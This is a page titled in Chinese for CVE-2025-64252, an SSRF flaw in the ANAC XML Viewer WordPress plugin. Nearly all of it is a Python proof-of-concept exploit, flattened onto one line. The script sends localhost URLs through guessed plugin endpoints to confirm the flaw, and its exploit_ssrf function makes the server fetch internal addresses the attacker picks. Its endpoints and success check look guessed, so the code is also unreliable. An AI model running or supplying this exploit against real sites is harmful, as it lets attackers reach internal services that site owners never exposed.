CVE-2025-64252 WordPress ANAC XML Viewer插件SSRF漏洞

import requests import sys # CVE-2025-64252 PoC - SSRF in ANAC XML Viewer WordPress Plugin # Target: WordPress site with ANAC XML Viewer plugin <= 1.8.2 def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-64252 SSRF """ # Test with localhost to verify SSRF test_urls = [ "http://127.0.0.1/", "http://localhost/", ] endpoints = [ "/wp-content/plugins/anac-xml-viewer/", "/?action=anac_xml_viewer", ] print(f"[*] Testing target: {target_url}") for endpoint in endpoints: for test_url in test_urls: try: # Construct the SSRF payload params = { 'url': test_url, 'anac_action': 'fetch_xml' } full_url = target_url.rstrip('/') + endpoint response = requests.get(full_url, params=params, timeout=10) print(f"[+] Sent SSRF request: {test_url}") print(f" Status: {response.status_code}") # Check for SSRF indicators if response.status_code == 200: if 'html' in response.text.lower() or 'body' in response.text.lower(): print(f"[!] Potential SSRF - Server fetched: {test_url}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def exploit_ssrf(target_url, internal_target): """ Exploit SSRF to access internal resources """ params = { 'url': internal_target, 'anac_action': 'fetch_xml' } print(f"[*] Exploiting SSRF to access: {internal_target}") try: response = requests.get(target_url, params=params, timeout=10) print(f"[+] Response received") print(f" Status: {response.status_code}") print(f" Content-Length: {len(response.content)}") return response.text except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-64252.py <target_url>") print("Example: python cve-2025-64252.py http://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)